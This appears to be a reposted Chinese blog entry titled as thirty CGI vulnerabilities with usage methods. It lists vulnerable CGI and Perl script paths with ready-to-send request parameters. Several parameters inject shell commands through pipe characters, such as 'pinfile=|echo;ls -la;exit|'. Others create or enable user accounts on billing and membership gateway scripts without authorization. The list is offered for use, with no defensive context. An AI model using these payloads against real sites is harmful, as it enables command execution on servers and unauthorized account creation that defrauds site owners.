zoukankan      html  css  js  c++  java
  • [cgibin] 30个漏洞+使用方法

    /smspass.pl
    username=username&password=password

    /index.cgi
    wei=ren&gen=command

    /passmaster.cgi
    Action=Add&Username=Username&Password=Password

    /accountcreate.cgi
    username=username&password=password&ref1=|echo;ls|

    /form.cgi
    name=xxxx&email=email&subject=xxxx&response=|echo;ls|

    /addusr.pl
    /cgi-bin/EuroDebit/addusr.pl
    user=username&pass=Password&confirm=Password

    /ccbill-local.asp
    post_values=username:password

    /count.cgi
    pinfile=|echo;ls -la;exit|

    /recon.cgi
    /recon.cgi?search
    searchoption=1&searchfor=|echo;ls -al;exit|

    /verotelrum.pl
    vercode=username:password:dseegsow:add:amount<&30>

    /af.cgi
    _browser_out=|echo;ls -la;exit;|

    /modify.cgi
    username=username&password=password&expire=30

    /openjournal.cgi
    edit=1&ct=2&go=|echo;ls -al;exit|

    /gx9passwd.cgi
    cmd=ADD&user=username&pass=password

    /probecontrol.cgi
    command=enable&username=username&password=password

    /recon.cgi
    searchoption=3&searchfor=echo;ls -la;exit

    /htadd.pl
    configfile=|echo; ls -alt; exit

    /gx9passwd.cgi
    cmd=ADD&user=username&pass=password

    /ibill*.pl
    reqtype=add&authpwd=authpwd&username=username&password=password

    /cpay.cgi
    command=add_member&username=username(EMAIL)&password=password(DES)

    /globill_ut.cgi
    do=add&username=username&password=password&wpassword=password

    /usercontrol.cgi
    command=enable&username=USER&password=PASS

    /globoSALErum.cgi
    action=ADD&seccode=seccode&login=username&password=password

    /addusr.pl
    user=USER&pass=PASS&confirm=PASS

    /pincount.cgi
    /cgi-bin/mastergate/pincount.cgi
    pinfile=|echo;pwd;exit|

    /accountcreate.cgi
    /cgi-bin/gateway/accountcreate.cgi
    username=username&password=password&password2=password&ref1=|echo;ls -al;exit

    /af.cgi
    /env.cgi
    ADD+;echo;pwd;exit

    /count.cgi
    pinfile=|echo;pwd;exit|

    /recon.cgi
    searchoption=1&searchfor=|echo;ls%20-al;exit|

    /add.cgi
    username=username&password=password&expire=30

  • 相关阅读:
    iOS开发之--打印一堆奇怪东西的解决方案
    iOS开发之--从URL加载图片
    iOS开发之--搭建本地的SVN服务器
    HTML5
    swift
    swift
    HTML 换行
    HTML 注释
    HTML 水平线
    /etc/rc.d/rc.local
  • 原文地址:https://www.cnblogs.com/zhouwenwu/p/2430938.html
Copyright © 2011-2022 走看看